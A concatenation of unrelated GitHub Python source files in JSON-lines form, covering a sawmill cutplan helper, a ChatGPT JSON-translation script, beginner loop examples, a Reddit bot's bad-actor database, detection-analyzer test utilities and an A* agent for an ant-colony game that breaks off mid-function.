'\\r%s |%s| %s%s %s' % (prefix, bar, percents, '%', suffix)\n\n if iteration == total:\n prtStr += '\\n'\n\n return prtStr\n\n\n# keep track to work out how much longer simulation will take\ndef Timer(id, ic, il, elapsed, tl=1000):\n total = len(id)*tl\n count = id.index(ic)*tl + il + 1\n t = (elapsed/count) * (total-count)\n tmin = floor(t/60)\n tsec = round(t % 60)\n if tmin > 0:\n tStr = \\\n r'Time Remaining: {:d} min(s) {:d} sec(s)'.format(tmin, tsec)\n else:\n tStr = r'Time Remaining: {:d} sec(s)'.format(tsec)\n prtStr = print_progress(\n count, total,\n prefix=\"Cutplan \"+str(id.index(ic)+1)+\" of \"+str(len(id))+\":\",\n suffix=\" \"+tStr+\" \"\n )\n\n sys.stdout.write(prtStr)\n sys.stdout.flush()\n\n\n# Evaluating how good recovery is\ndef SumRecov(recovery):\n rSum = 0\n for k in recovery.WB.keys():\n rSum += nansum(recovery.WB[k])\n for i in recovery.CB:\n if isinstance(i, list):\n rSum += nansum(i)\n elif not isnan(i):\n rSum += i\n return rSum\n\n\n# finding the where board falls outside of log\ndef GetWane(coords, cH, t, w, prim=False):\n if prim:\n Y = coords.X\n X = coords.Y\n Offset = [coords.Offset[1], coords.Offset[0]]\n else:\n Y = coords.Y\n X = coords.X\n Offset = [coords.Offset[0], coords.Offset[1]]\n if cH > t/2:\n wane = (\n sum(\n (Y >= cH+Offset[1])\n * (X <= (-w+Offset[0]))\n ) * sum(\n (Y >= cH+Offset[1])\n * (X >= (w+Offset[0]))\n )\n ) > 0\n else:\n wane = (\n sum(\n (Y <= cH+Offset[1]-t)\n * (X <= (-w+Offset[0]))\n ) * sum(\n (Y <= cH+Offset[1]-t)\n * (X >= (w+Offset[0]))\n )\n ) > 0\n return wane\n\n\n# given the affect of wane, determine cutback as percentage of board length\ndef BoardRecovery(wane, fullZ, bL):\n # Initialisations\n Z = fullZ[0]\n noWane = [0]\n startZ = 0\n for i in range(len(wane)):\n if not wane[i]:\n noWane.append(Z[i]-startZ)\n startZ = Z[i]\n noWane.append(Z[i]-startZ)\n\n newL = max(noWane)\n if bL == 4600:\n cutbacks = [4600, 3600, 3300, 3000]\n else:\n cutbacks = [4000, 3600, 3300, 3000]\n for i in range(len(cutbacks)):\n if newL >= cutbacks[i]:\n return cutbacks[i]/bL\n return 0\n\n\ndef CalcUseable(coords, length=None):\n # =========================================================================\n # x = zeros(coords.X.shape[0])\n # y = zeros(coords.Y.shape[0])\n # for i in range(x.shape[0]):\n # rhos = sqrt(coords.X[i]*coords.X[i] + coords.Y[i]*coords.Y[i])\n # minID = 0\n # for rID in range(len(rhos)):\n # if rhos[rID] < rhos[minID]:\n # minID = rID\n # x[i] = coords.X[i][minID]\n # y[i] = coords.Y[i][minID]\n # width = amax(x) - amin(x)\n # height = amax(y) - amin(y)\n # =========================================================================\n\n rhos = sqrt(coords.X*coords.X + coords.Y*coords.Y)\n\n if length is None:\n minIDs = argmin(rhos, 1)\n x = [coords.X[i][minIDs[i]] for i in range(len(minIDs))]\n y = [coords.Y[i][minIDs[i]] for i in range(len(minIDs))]\n width = amax(x)-amin(x)\n height = amax(y)-amin(y)\n else:\n if length < 20:\n length *= 1000\n iLen = ceil(length/(coords.Z[0][1]-coords.Z[0][0])) + 1\n width = 0\n height = 0\n for i in range(coords.Z.shape[1]-iLen-1):\n minIDs = argmin(rhos[:, i:iLen+i], 1)\n x = [coords.X[j][minIDs[j]+i] for j in range(len(minIDs))]\n y = [coords.Y[j][minIDs[j]+i] for j in range(len(minIDs))]\n width = max(amax(x)-amin(x), width)\n height = max(amax(y)-amin(y), height)\n\n return (width, height)\n\n\ndef CalcUseableWID(coords, length=None):\n rhos = sqrt(coords.X*coords.X + coords.Y*coords.Y)\n\n if length < 20:\n length *= 1000\n iLen = ceil(length/(coords.Z[0][1]-coords.Z[0][0])) + 1\n width = 0\n minID = 0\n for i in range(coords.Z.shape[1]-iLen-1):\n minIDs = argmin(rhos[:, i:iLen+i], 1)\n x = [coords.X[j][minIDs[j]+i] for j in range(len(minIDs))]\n newW = amax(x)-amin(x)\n if newW > width:\n minID = i\n width = newW\n\n return minID\n\n\ndef GetUseableCoords(coords, length=None, lw=1.0):\n if length is None:\n rhos = sqrt(coords.X*coords.X + coords.Y*coords.Y)\n minIDs = argmin(rhos, 1)\n x = [coords.X[i][minIDs[i]] for i in range(len(minIDs))]\n y = [coords.Y[i][minIDs[i]] for i in range(len(minIDs))]\n else:\n rhos = sqrt(coords.X*coords.X + coords.Y*coords.Y)\n\n if length < 20:\n length *= 1000\n iLen = ceil(length/(coords.Z[0][1]-coords.Z[0][0])) + 1\n width = 0\n minID = 0\n for i in range(coords.Z.shape[1]-iLen-1):\n minIDs = argmin(rhos[:, i:iLen+i], 1)\n x = [coords.X[j][minIDs[j]+i] for j in range(len(minIDs))]\n newW = amax(x)-amin(x)\n if newW > width:\n minID = i\n width = newW\n\n xL = coords.X[:, minID]\n yL = coords.Y[:, minID]\n\n sweepID = argmin(-coords.X[0, :])\n xR = coords.X[:, sweepID]\n yR = coords.Y[:, sweepID]\n\n idsR = [i for i in range(xR.shape[0]) if any(\n logical_and(xR[i] <= xL, abs(yR[i]) <= abs(yL)))]\n idsL = [i for i in range(xL.shape[0]) if any(\n logical_and(xL[i] >= xR, abs(yL[i]) <= abs(yR)))]\n\n if len(idsL) == coords.X.shape[0]:\n x = xL\n y = yL\n else:\n x = [xL[idsL[0]]]\n y = [yL[idsL[0]]]\n i = 1\n while (idsL[i]-idsL[i-1] == 1):\n x.append(xL[idsL[i]])\n y.append(yL[idsL[i]])\n i += 1\n x = concatenate([x, xR[idsR], xL[idsL[i:]]])\n y = concatenate([y, yR[idsR], yL[idsL[i:]]])\n\n thetas = arctan2(y, x)\n x1 = x - lw*cos(thetas)\n y1 = y - lw*sin(thetas)\n\n origin = (coords.Offset[0], coords.Offset[1], npmax(coords.Z))\n\n return ((x, y), (x1, y1), origin)\n","repo_name":"DanKulasingham/PublicCAGUI","sub_path":"cutplan/_helper.py","file_name":"_helper.py","file_ext":"py","file_size_in_byte":7381,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"24868664297","text":"import os\nimport json\nimport time\nimport openai\nimport requests\nimport argparse\nfrom tqdm import tqdm\nfrom populate import read_json, write_json\n\nMAX_ATTEMPTS = 10\nAPI_KEY = os.getenv(\"OPENAI_API_SOCIAL\")\nAPI_ORG = os.getenv(\"OPENAI_API_ORG\")\nopenai.organization = API_ORG\nopenai.api_key = API_KEY\n\ndef retry_request(url, payload, headers):\n for i in range(MAX_ATTEMPTS):\n try:\n response = requests.post(url, data=json.dumps(\n payload), headers=headers, timeout=90)\n json_response = json.loads(response.content)\n if \"error\" in json_response:\n print(json_response)\n print(f\"> Sleeping for {2 ** i}\")\n time.sleep(2 ** i) \n else:\n return json_response\n except:\n print(f\"> Sleeping for {2 ** i}\")\n time.sleep(2 ** i) # exponential back off\n raise TimeoutError()\n\ndef translate(prompt: str, model: str = 'gpt-3.5-turbo-0613'):\n \n url = \"https://api.openai.com/v1/chat/completions\"\n headers = {'Content-type': 'application/json',\n 'Accept': 'application/json', 'Authorization': f'Bearer {API_KEY}', 'OpenAI-Organization': API_ORG}\n\n print(f\"> Translating using {model}\")\n\n out_file = \"./assets/researchers_ar_update.json\"\n researchers = read_json(\"./assets/researchers.json\")\n\n researchers_ar = []\n for researcher in tqdm(researchers):\n\n query = f\"{prompt}\\n{json.dumps(researcher)}\"\n payload_data = {\"role\": \"user\", \"content\": f\"{query}\"}\n\n payload = {\"messages\": [payload_data], \"model\": model}\n response = retry_request(url, payload, headers)\n\n if \"choices\" in response:\n json_response = json.loads(response[\"choices\"][0][\"message\"][\"content\"])\n researchers_ar += [json_response]\n else:\n print(\"> Error!\")\n researchers_ar += [researcher]\n\n write_json(out_file, researchers_ar)\n \nif __name__ == \"__main__\":\n \n prompt = \"Convert the following keys in the given JSON from English to Arabic: name, affiliation, position, interests. Keep the JSON in the same format and the keys in English:\"\n translate(prompt)","repo_name":"BKHMSI/egyptians-in-ai","sub_path":"src/scripts/translate_jsons.py","file_name":"translate_jsons.py","file_ext":"py","file_size_in_byte":2220,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"61"} +{"seq_id":"28812249963","text":"# for loop\n\nfor number in [0, 1, 2, 3, 4]:\n print(number)\n\nfor number in range(5):\n print(number)\n\n# Interando sobre uma sequência\n\nsurnames = ['Souza', 'Rocha', 'Oliveira']\nfor surname in surnames:\n print(surname)\n\n# Iterando em várias sequências\n# Nível ineficiente\npeople = ['Helena', 'Débora', 'Julio', 'André']\nages = [36, 2, 42, 6]\nfor position in range(len(people)):\n person = people[position]\n age = ages[position]\n print(person, age)\n\n# Nível melhor, mas não perfeito\npeople = ['Helena', 'Débora', 'Julio', 'André']\nages = [36, 2, 42, 6]\nfor position, person in enumerate(people):\n age = ages[position]\n print(person, age)\n\n# Nível muito melhor\npeople = ['Helena', 'Débora', 'Julio', 'André']\nages = [36, 2, 42, 6]\nfor person, age in zip(people, ages):\n print(person, age)\n\n# Expandindo\npeople = ['Helena', 'Débora', 'Julio', 'André']\nages = [36, 2, 42, 6]\nfamily = ['Mãe', 'Filha', 'Pai', 'Filho']\nfor person, age, family in zip(people, ages, family):\n print(person, age, family)\n\n# Explodindo\npeople = ['Helena', 'Débora', 'Julio', 'André']\nages = [36, 2, 42, 6]\nfamily = ['Mãe', 'Filha', 'Pai', 'Filho']\nfor data in zip(people, ages, family):\n person, age, family = data\n print(person, age, family)\n\n\n\n\n\n\n\n\n","repo_name":"casaldev/curso-fundamentos-python","sub_path":"aulas/for_loops.py","file_name":"for_loops.py","file_ext":"py","file_size_in_byte":1274,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"23219234303","text":"#A number is called Disarium if sum of its digits powered with their respective positions is equal to the number itself.\ndef disarium(num):\n c=0\n a=0\n temp=num\n while num>0:\n r=num%10\n num=num//10\n c+=1\n num=temp\n while temp>0:\n r=temp%10\n temp=temp//10\n a+=pow(r,c)\n c-=1\n if a==num:\n print(True)\n else:\n print(False)\nnum=int(input())\ndisarium(num)\n","repo_name":"divyatejasriv/BecomeCODER-Python","sub_path":"disarium.py","file_name":"disarium.py","file_ext":"py","file_size_in_byte":437,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"16230611612","text":"\"\"\"Objective: Identify which bioSamples should be downloaded to be manually curated. \nInputs: No args. bioProjectToBioSample.json. initialRandomSample.tsv\nOutputs: list_randomInit_biosamples.txt\n\"\"\"\nimport json\n\nwith open('/bioProjectIds/bioProjectToBioSample.json', \"r\") as jFile:\n allProj = json.loads(jFile.read())\nbiosamples = []\n\n#This file has the bioProject IDs for our 2000 randomly sampled. \nwith open (\"/bioProjectIds/initialRandomSample.tsv\", \"r\") as readFile:\n for line in readFile:\n line = line.rstrip()\n for sample in allProj[line]:\n biosamples.append(sample)\n\nwith open(\"/bioSamples/list_randomInit_biosamples.txt\", \"w\") as writeFile:\n for sample in biosamples:\n writeFile.write(sample + \"\\n\")","repo_name":"gsalmons/Diversity_Detect","sub_path":"scripts/IdentifyBiosamplesToLabel.py","file_name":"IdentifyBiosamplesToLabel.py","file_ext":"py","file_size_in_byte":749,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"39260500480","text":"from ._database import (\n Database,\n UniqueConstraintFailed,\n)\n\n\nclass BadActorsDatabase(Database):\n \"\"\"\n Database of reddit users that have exhibited bad behaior potentially\n worthy of a temp ban (eg. linking to many 404s in a \"short\" timeframe)\n \"\"\"\n\n PATH = 'bad-actors.db'\n\n def __init__(self, cfg, *args, **kwargs):\n Database.__init__(self, *args, **kwargs)\n self.cfg = cfg\n\n def __contains__(self, thing):\n \"\"\"\n Returns whether the thing has ever been flagged as a bad actor\n \"\"\"\n from src import reddit\n\n fullname = reddit.fullname(thing)\n query = 'SELECT * FROM {0} WHERE thing_fullname = ?'\n active = self._db.execute(query.format('active'), (fullname,))\n inactive = self._db.execute(query.format('inactive'), (fullname,))\n return bool(active.fetchone() or inactive.fetchone())\n\n @property\n def _create_table_data(self):\n columns = [\n 'thing_fullname TEXT PRIMARY KEY NOT NULL',\n 'created_utc REAL NOT NULL',\n 'author_name TEXT NOT NULL COLLATE NOCASE',\n # store some optional data for debugging purposes\n # (eg. comment.permalink)\n 'data TEXT',\n ]\n\n return (\n # active set of bad actors\n 'active({0})'.format(','.join(columns)),\n\n # inactive set of bad actors (pruned due to time)\n # these are kept in case I might want to refine how temp\n # blacklisting works (eg. temp blacklist if total > threshold)\n 'inactive({0})'.format(','.join(columns)),\n )\n\n def _insert(self, thing, data):\n from src import reddit\n\n self.__prune(thing)\n if hasattr(thing, 'author') and bool(thing.author):\n self._db.execute(\n 'INSERT INTO'\n ' active(thing_fullname, created_utc, author_name, data)'\n ' VALUES(?, ?, ?, ?)',\n (\n reddit.fullname(thing),\n thing.created_utc,\n thing.author.name,\n data,\n ),\n )\n\n def __prune(self, thing):\n \"\"\"\n Attempts to prune expired active records.\n A record is expired if the elapsed time between the stored created_utc\n and the given thing's created_utc exceeds the config-defined expiration\n time:\n thing.created - stored_created > expire\n thing.created - expire > stored_created\n\n created_utc is used to gauge the timeframe the user was behaving in a\n poor manner. If, instead, local time (time.time()) was used then the\n timeframe judged would be whenever the bot happened to fetch the given\n thing (which wouldn't be particularly useful).\n \"\"\"\n\n if thing.author:\n # assumption: this thing's created_utc is > stored timestamps\n # (ie, it is newer)\n expire_utc = thing.created_utc - self.cfg.bad_actor_expire_time\n cursor = self._db.execute(\n 'SELECT * FROM active'\n ' WHERE author_name = ? AND created_utc < ?',\n (thing.author.name, expire_utc),\n )\n\n pruned = []\n for row in cursor:\n self._db.execute(\n 'DELETE FROM active'\n ' WHERE thing_fullname = ?'\n ' AND created_utc = ?'\n ' AND author_name = ?'\n ' AND data = ?',\n row,\n )\n try:\n self._db.execute(\n 'INSERT INTO inactive'\n '(thing_fullname, created_utc, author_name, data)'\n ' VALUES(?, ?, ?, ?)',\n row,\n )\n except UniqueConstraintFailed:\n # duplicate bad actor record entered\n logger.id(logger.warn, self,\n 'Failed to move duplicate {color_thing}'\n ' (by {color_author}) to inactive table!',\n color_thing=row['thing_fullname'],\n color_author=row['author_name'],\n exc_info=True,\n )\n\n pruned.append(row)\n\n if pruned:\n debug_rows = [\n '{0}, {1}, {2}, {3}'.format(\n row['thing_fullname'],\n row['created_utc'],\n row['author_name'],\n row['data'],\n ) for row in pruned\n ]\n logger.id(logger.debug, self,\n 'Pruned #{num} (created: {created} by {author}):'\n '\\n{rows}',\n num=len(pruned),\n created=thing.created_utc,\n author=thing.author.name,\n rows='\\n'.join(debug_rows),\n )\n self._db.commit()\n\n def count(self, thing):\n \"\"\"\n Returns the number of active entries for thing's author\n -1 if thing has no author (deleted/removed)\n \"\"\"\n self.__prune(thing)\n\n cursor = self._db.execute('SELECT count(*) FROM active')\n row = cursor.fetchone()\n if row:\n return row[0]\n\n return -1\n\n\n__all__ = [\n 'BadActorsDatabase',\n]\n\n","repo_name":"lv10wizard/ig-highlights-bot","sub_path":"src/database/badactors.py","file_name":"badactors.py","file_ext":"py","file_size_in_byte":5706,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"61"} +{"seq_id":"11375013535","text":"import pytest\nimport numpy\nimport numpy as np\nimport os\n\nfrom analyze.analyzer import Analyzer\n\n# list of all builtin types in python (3)\nimport builtins\nbuiltin_types = [getattr(builtins, d) for d in dir(builtins) if isinstance(getattr(builtins, d), type)]\nbuiltin_types.append(numpy.ndarray)\n\n\ndef approx_equal_dicts(d, d_ref, keys=None, rel=None, abs=None):\n \"\"\"\n Wrapper to pytest.assert() function which is able to apply approx to elements in nested dictionaries.\n Note that no type checking is done, and the elements in the dictionary are assumed to be comply with pytest.assert()\n allowed inputs.\n\n Parameters\n ----------\n d : dict\n Dictionary to be approximated.\n\n d_ref : dict\n Reference dictionary, to which d will be\n\n keys : list, optional\n List of dictionary keys to be approximated. If None all keys of d_ref are used.\n\n rel : float, optional\n Relative tolerance, as in pytest.assert().\n\n abs: float, optional\n Absolute tolerance, as in pytest.assert().\n\n Returns\n ----------\n True if all keys in d are approximately equal to those of d_ref, False otherwise.\n\n \"\"\"\n\n if keys is None:\n keys = d_ref.keys()\n\n conditions = []\n\n # compare keys\n keys1 = set(d_ref.keys())\n keys2 = set(d.keys())\n keys_dif = keys1.difference(keys2)\n is_equal = True if len(keys_dif) == 0 else False\n conditions.append(is_equal)\n\n try:\n\n for key in keys:\n\n val_ref = d_ref[key]\n val = d[key]\n\n if isinstance(val_ref, dict):\n conditions.append(approx_equal_dicts(val, val_ref, rel=rel, abs=abs))\n elif isinstance(val_ref, str) or isinstance(val_ref, bool):\n conditions.append(val == val_ref)\n elif isinstance(val_ref, list): # assume list of non numeric values\n set1 = set(val_ref)\n set2 = set(val)\n set_dif = set1.difference(set2)\n conditions.append(len(set_dif) == 0)\n elif type(val_ref).__module__ == np.__name__: # numpy variable\n conditions.append(val == pytest.approx(val_ref, rel=rel, abs=abs))\n elif isinstance(val_ref, object) and (type(val_ref) not in builtin_types): # custom class\n conditions.append(compare_instances(val, val_ref))\n else: # assume numeric type\n conditions.append(val == pytest.approx(val_ref, rel=rel, abs=abs))\n\n return all(conditions)\n\n except: # e.g. if d or d_ref does not contain key\n\n return False\n\n\ndef compare_instances(instance1, instance2):\n\n is_equal_list = []\n\n # if instances are None\n if (instance1 is None) and (instance2 is None):\n return True\n elif ((instance1 is None) and (instance2 is not None)) or \\\n ((instance1 is not None) and (instance2 is None)):\n return False\n\n # compare attribute names\n atts1 = set(instance1.__dict__.keys())\n atts2 = set(instance2.__dict__.keys())\n atts_dif = atts1.difference(atts2)\n is_equal = True if len(atts_dif) == 0 else False\n is_equal_list.append(is_equal)\n\n # compare representations\n repr1 = str(instance1)\n repr2 = str(instance2)\n is_equal = repr1 == repr2\n is_equal_list.append(is_equal)\n\n # compare attributes\n for key in atts1:\n\n val1 = getattr(instance1, key)\n val2 = getattr(instance2, key)\n\n if isinstance(val1, dict): # dict\n is_equal = approx_equal_dicts(val1, val2, rel=0.0001)\n elif isinstance(val1, list): # assume list of non numeric type\n set1 = set(val1)\n set2 = set(val2)\n set_dif = set1.difference(set2)\n is_equal = len(set_dif) == 0\n elif isinstance(val1, numpy.ndarray):\n is_equal = np.all(val1 == pytest.approx(val2))\n elif type(val1) in builtin_types: # any type of python builtin, excluding dict, list\n is_equal = val1 == val2\n elif (val1 is None) and (val2 is None): # None\n is_equal = True\n elif isinstance(val1, object) and (type(val1) not in builtin_types): # custom class\n is_equal = compare_instances(val1, val2)\n else:\n try:\n is_equal = val1 == val2 # try simple comparison\n except:\n is_equal = False\n\n is_equal_list.append(is_equal)\n\n is_equal = all(is_equal_list)\n\n return is_equal\n\n\ndef load_test_analyzer(data_dir='ILSVRC2015_00078000'):\n \"\"\"\n Load analyzer object from saved test data.\n\n Parameters\n ----------\n data_dir : str, optional\n Data directory name, should be name of one of the folders inside analyze/tests/data/.\n\n Returns\n -------\n anaylzer : Analyzer\n Analyzer object.\n analyzer_root_dir : str\n Path of analyzer root directory, such that full images path is the concatenation of analyzer_root_dir and\n analyzer.data image_path.\n \"\"\"\n\n # load reference analyzer\n base_dir = os.path.dirname(__file__)\n relative_data_dir = os.path.join('data', data_dir)\n data_dir = os.path.join(base_dir, relative_data_dir)\n analyzer_file = os.path.join(data_dir, 'analyzer.p')\n analyzer = Analyzer.load(analyzer_file, load_images_from_dir=False)\n analyzer_root_dir = os.path.join(base_dir, '..')\n\n return analyzer, analyzer_root_dir\n\ndef load_analyzer(data_dir, load_images_from_dir=False):\n\n # load reference analyzer\n analyzer_file = os.path.join(data_dir, 'analyzer.p')\n analyzer = Analyzer.load(analyzer_file, load_images_from_dir=False)\n analyzer_root_dir = os.path.dirname(analyzer_file)\n\n return analyzer, analyzer_root_dir","repo_name":"moshes7/odeval","sub_path":"analyze/tests/utils_test.py","file_name":"utils_test.py","file_ext":"py","file_size_in_byte":5707,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"29229181195","text":"import random\r\nimport sys\r\nsys.path.append(\"..\") #so other modules can be found in parent dir\r\nfrom Player import *\r\nfrom Constants import *\r\nfrom Construction import CONSTR_STATS\r\nfrom Ant import UNIT_STATS\r\nfrom Move import Move\r\nfrom GameState import *\r\nfrom AIPlayerUtils import *\r\nimport math\r\n\r\n#global vars\r\nbestFood = None\r\navgDistToFoodPoint = None\r\n##\r\n#AIPlayer\r\n#Description: The responsbility of this class is to interact with the game by\r\n#deciding a valid move based on a given game state. This class has methods\r\n#that\r\n#will be implemented by students in Dr. Nuxoll's AI course.\r\n#\r\n#Variables:\r\n# playerId - The id of the player.\r\n##\r\nclass AIPlayer(Player):\r\n def __init__(self, inputPlayerId):\r\n super(AIPlayer, self).__init__(inputPlayerId, \"AStarAgent_gieseman21_cruzk20\")\r\n self.resetPlayerData()\r\n \r\n def resetPlayerData(self):\r\n global bestFood\r\n global avgDistToFoodPoint\r\n bestFood = None\r\n avgDistToFoodPoint = None\r\n self.myTunnel = None\r\n self.myHill = None\r\n\r\n def getPlacement(self, currentState):\r\n \r\n me = currentState.whoseTurn\r\n \r\n if currentState.phase == SETUP_PHASE_1:\r\n #Hill, Tunnel, Grass\r\n self.resetPlayerData()\r\n self.myNest = (2,1)\r\n self.myTunnel = (7,1)\r\n return [(2,1), (7, 1), \r\n (0,3), (1,3), (2,3), (3,3), \\\r\n (4,3), (5,3), (6,3), \\\r\n (8,3), (9,3)]\r\n elif currentState.phase == SETUP_PHASE_2:\r\n moves = []\r\n for y in range(6, 10):\r\n for x in range(0,10):\r\n if currentState.board[x][y].constr == None and len(moves) < 2:\r\n moves.append((x,y))\r\n return moves\r\n \r\n else: \r\n return None #should never happen\r\n \r\n ##\r\n #getMove\r\n #Description: Gets the next move from the Player.\r\n #\r\n #Parameters:\r\n # currentState - The state of the current game waiting for the player's\r\n # move\r\n # (GameState)\r\n #\r\n #Return: The Move to be made\r\n ##\r\n def getMove(self, currentState):\r\n me = currentState.whoseTurn\r\n workerAnts = getAntList(currentState, me, (WORKER,))\r\n global bestFood\r\n global avgDistToFoodPoint\r\n\r\n #starts by assigning some variables to improve evaluation of proximity to scoring 11 food\r\n if (me == PLAYER_ONE):\r\n enemy = PLAYER_TWO\r\n else :\r\n enemy = PLAYER_ONE\r\n \r\n if (self.myTunnel == None):\r\n self.myTunnel = getConstrList(currentState, me, (TUNNEL,))[0].coords\r\n \r\n if (self.myHill == None):\r\n self.myHill = getConstrList(currentState, me, (ANTHILL,))[0].coords\r\n \r\n if (bestFood == None and avgDistToFoodPoint == None):\r\n assignGlobalVars(currentState, self.myTunnel, self.myHill)\r\n\r\n selectedMove = getMove(currentState)\r\n \r\n return selectedMove\r\n \r\n ##\r\n #getAttack\r\n #Description: Gets the attack to be made from the Player\r\n #\r\n #Parameters:\r\n # currentState - A clone of the current state (GameState)\r\n # attackingAnt - The ant currently making the attack (Ant)\r\n # enemyLocation - The Locations of the Enemies that can be attacked\r\n # (Location[])\r\n ##\r\n def getAttack(self, currentState, attackingAnt, enemyLocations):\r\n return enemyLocations[0]\r\n\r\n ##\r\n #registerWin\r\n #\r\n # This agent doens't learn\r\n #\r\n def registerWin(self, hasWon):\r\n #method templaste, not implemented\r\n pass\r\n\r\n#in the current version, only evaluates proximity to winning via food collection\r\ndef heuristicStepsToGoal(currentState):\r\n me = currentState.whoseTurn\r\n if (me == PLAYER_ONE):\r\n enemy = PLAYER_TWO\r\n else :\r\n enemy = PLAYER_ONE\r\n myQueen = getAntList(currentState, me, (QUEEN,))[0]\r\n theirQueens = getAntList(currentState, enemy, (QUEEN,))\r\n if (len(theirQueens) == 0):\r\n return 0\r\n theirQueen = theirQueens[0]\r\n fightAnts = getAntList(currentState, me, (SOLDIER, R_SOLDIER, DRONE))\r\n\r\n #if a state has a dead queen, it should be avoided!!!\r\n if (myQueen.health == 0):\r\n return 99999999\r\n\r\n stepsToGoal = stepsToFoodGoal(currentState)\r\n \r\n #add the enemy health to our heuristic measure in order to encourage attacks\r\n stepsToGoal += getTotalEnemyHealth(currentState)\r\n\r\n for ant in fightAnts:\r\n stepsToGoal += stepsToReach(currentState, ant.coords, theirQueen.coords)/3\r\n\r\n antCap = len(fightAnts) - 2\r\n for i in range(antCap):\r\n stepsToGoal = stepsToGoal * 2\r\n\r\n return stepsToGoal\r\n \r\n\r\n#helper method for heuristicStepsToGoal, evaluates distance to win by food\r\ndef stepsToFoodGoal(currentState):\r\n #get the board\r\n # fastClone(currentState)\r\n \r\n #get numWorkers\r\n global avgDistToFoodPoint\r\n global bestFood\r\n\r\n myInv = getCurrPlayerInventory(currentState)\r\n foodScore = myInv.foodCount\r\n me = currentState.whoseTurn\r\n workerAnts = getAntList(currentState, me, (WORKER,))\r\n \r\n\r\n #cant collect food without workers\r\n if (len(workerAnts) != 1):\r\n return 99999999\r\n\r\n #in assignGlobalVars, we assigned avgDistToFoodPoint\r\n #we multiply that by the number of food points we need\r\n stepsToFoodGoal = 0\r\n for i in range(11-foodScore):\r\n stepsToFoodGoal += avgDistToFoodPoint\r\n \r\n #to that, we add the distance from scoring a food point of the ant that is closest to scoring one\r\n minStepsToFoodPoint = 99999999\r\n for worker in workerAnts:\r\n temp = stepsToFoodPoint(currentState, worker)\r\n if (temp < minStepsToFoodPoint):\r\n minStepsToFoodPoint = temp\r\n\r\n\r\n stepsToFoodGoal += minStepsToFoodPoint\r\n \r\n return stepsToFoodGoal\r\n \r\n \r\n \r\n### Calculates the necessary steps to get +1 food point ### \r\ndef stepsToFoodPoint(currentState, workerAnt):\r\n global bestFood\r\n #Check if the ant is carrying food, then we only need steps to nearest constr\r\n if (workerAnt.carrying):\r\n dist = stepsToReach(currentState, workerAnt.coords, bestFood[1])\r\n #Otherwise, calculate the entire cycle the ant would need to complete to get +1 food point\r\n else:\r\n dist = stepsToReach(currentState, workerAnt.coords, bestFood[0].coords) + stepsToReach(currentState, bestFood[0].coords, bestFood[1])\r\n \r\n return dist\r\n\r\n#not yet implemented\r\ndef stepsToQueenGoal(currentState):\r\n pass\r\n\r\n#not yet implemented \r\ndef stepsToAntHillGoal(currentState):\r\n pass\r\n \r\n#uses MoveNode objects to represent the outcome of all possible moves\r\n#returns the move associated with the MoveNode that has the lowest (best) utility\r\ndef getMove(currentState):\r\n \r\n frontierNodes = []\r\n expandedNodes = []\r\n\r\n rootNode = MoveNode(None, currentState)\r\n rootNode.depth = 0\r\n\r\n frontierNodes.append(rootNode)\r\n\r\n while ((len(frontierNodes) != 0) and (len(frontierNodes) < 60)):\r\n expandMe = frontierNodes.pop(0)\r\n expandedNodes.append(expandMe)\r\n newFrontiers = expandNode(expandMe)\r\n for node in newFrontiers:\r\n insert(node, frontierNodes)\r\n if (len(frontierNodes) == 1):\r\n return frontierNodes[0].move\r\n\r\n bestNode = frontierNodes.pop(0)\r\n\r\n while (bestNode.depth != 1):\r\n bestNode = bestNode.parent\r\n\r\n\r\n return bestNode.move\r\n\r\n\r\ndef insert(moveNode, moveNodeList):\r\n \r\n if (len(moveNodeList) == 0):\r\n moveNodeList.append(moveNode)\r\n\r\n else :\r\n for i in range(len(moveNodeList)):\r\n if (moveNode.utility < moveNodeList[i].utility):\r\n moveNodeList.insert(i, moveNode)\r\n return\r\n moveNodeList.append(moveNode)\r\n\r\n \r\n\r\n#returns the MoveNode with the lowest (best) utility given a list of MoveNodes\r\ndef bestMove(moveNodes):\r\n bestNodeUtility = 99999999\r\n bestNode = moveNodes[0]\r\n for moveNode in moveNodes:\r\n if (moveNode.utility < bestNodeUtility):\r\n bestNode = moveNode\r\n bestNodeUtility = moveNode.utility\r\n \r\n return bestNode\r\n\r\n#assign the vars bestFood and avgDistToFoodPoint, which are used in determining stepsToFoodGoal\r\ndef assignGlobalVars(currentState, myTunnel, myHill):\r\n \r\n global bestFood\r\n global avgDistToFoodPoint\r\n\r\n foods = getConstrList(currentState, None, (FOOD,))\r\n bestTunnelDist = 50\r\n bestHillDist = 50\r\n bestTunnelFood = None\r\n bestHillFood = None\r\n \r\n for food in foods:\r\n dist = stepsToReach(currentState, myTunnel, food.coords)\r\n if (dist < bestTunnelDist) :\r\n bestTunnelFood = food\r\n bestTunnelDist = dist\r\n dist = stepsToReach(currentState, myHill, food.coords)\r\n if (dist < bestHillDist) :\r\n bestHillFood = food\r\n bestHillDist = dist\r\n \r\n if (bestHillDist < bestTunnelDist):\r\n bestFood = (bestHillFood, myHill)\r\n else :\r\n bestFood = (bestTunnelFood, myTunnel)\r\n\r\n me = currentState.whoseTurn\r\n workerAnts = getAntList(currentState, me, (WORKER,))\r\n\r\n for worker in workerAnts:\r\n foodToTunnelDist = stepsToReach(currentState, bestFood[0].coords, bestFood[1])\r\n marginalFoodPointCost = foodToTunnelDist * 2\r\n avgDistToFoodPoint = marginalFoodPointCost\r\n \r\n#sums health of all enemy ants. Used to encourage attack moves\r\ndef getTotalEnemyHealth(currentState):\r\n me = currentState.whoseTurn\r\n if (me == PLAYER_ONE):\r\n enemy = PLAYER_TWO\r\n else :\r\n enemy = PLAYER_ONE\r\n \r\n enemyAnts = getAntList(currentState, enemy, (WORKER,QUEEN,DRONE,SOLDIER,R_SOLDIER))\r\n totalEnemyHealth = 0\r\n for ant in enemyAnts:\r\n totalEnemyHealth += ant.health\r\n \r\n return totalEnemyHealth\r\n\r\ndef expandNode(expandMe):\r\n moves = 